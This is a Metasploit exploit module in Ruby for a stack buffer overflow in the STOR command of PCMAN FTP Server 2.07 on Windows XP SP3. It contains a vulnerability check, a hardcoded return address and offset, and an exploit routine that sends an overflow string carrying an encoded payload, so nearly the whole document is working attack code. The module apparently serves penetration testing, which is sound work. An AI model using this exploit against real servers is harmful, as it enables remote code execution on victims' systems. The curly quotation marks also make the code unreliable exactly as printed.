##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require ‘msf/core’
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => ‘PCMAN FTP Server STOR Command Stack Overflow’,
‘Description’ => %q{
This module exploits a buffer overflow vulnerability
found in the STOR command of the PCMAN FTP v2.07 Server
when the “/../” parameters are also sent to the server.
},
‘Author’ => [
‘Christian (Polunchis) Ramirez’, # Initial Discovery
‘Rick (nanotechz9l) Flores’, # Metasploit Module
],
‘License’ => MSF_LICENSE,
‘Version’ => ‘$Revision: $’,
‘References’ =>
[
[ ‘URL’, ‘http://www.exploit-db.com/exploits/27703/’ ],
],
‘DefaultOptions’ =>
{
‘EXITFUNC’ => ‘process’,
},
‘Payload’ =>
{
‘Space’ => 1000,
‘BadChars’ => “\x00\xff\x0a\x0d\x20\x40”,
},
‘Platform’ => ‘win’,
‘Targets’ =>
[
[ ‘Windows XP SP3’,
{
‘Ret’ => 0x7C91FCD8, # jmp esp from kernel32.dll
‘Offset’ => 2002
}
],
],
‘DisclosureDate’ => ‘Jul 17 2011’,
‘DefaultTarget’ => 0))
end
def check
connect
disconnect
if (banner =~ /220 PCMan’s FTP Server 2.0/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
print_status(“Trying victim #{target.name}…”)
sploit = “\x41” * 2002 + [target.ret].pack(‘V’) + make_nops(4) + “\x83\xc4\x9c” + payload.encoded
sploit << make_nops(4)
sploit << payload.encoded
send_cmd( ['STOR', '/../' + sploit], false )
handler
disconnect
end
end
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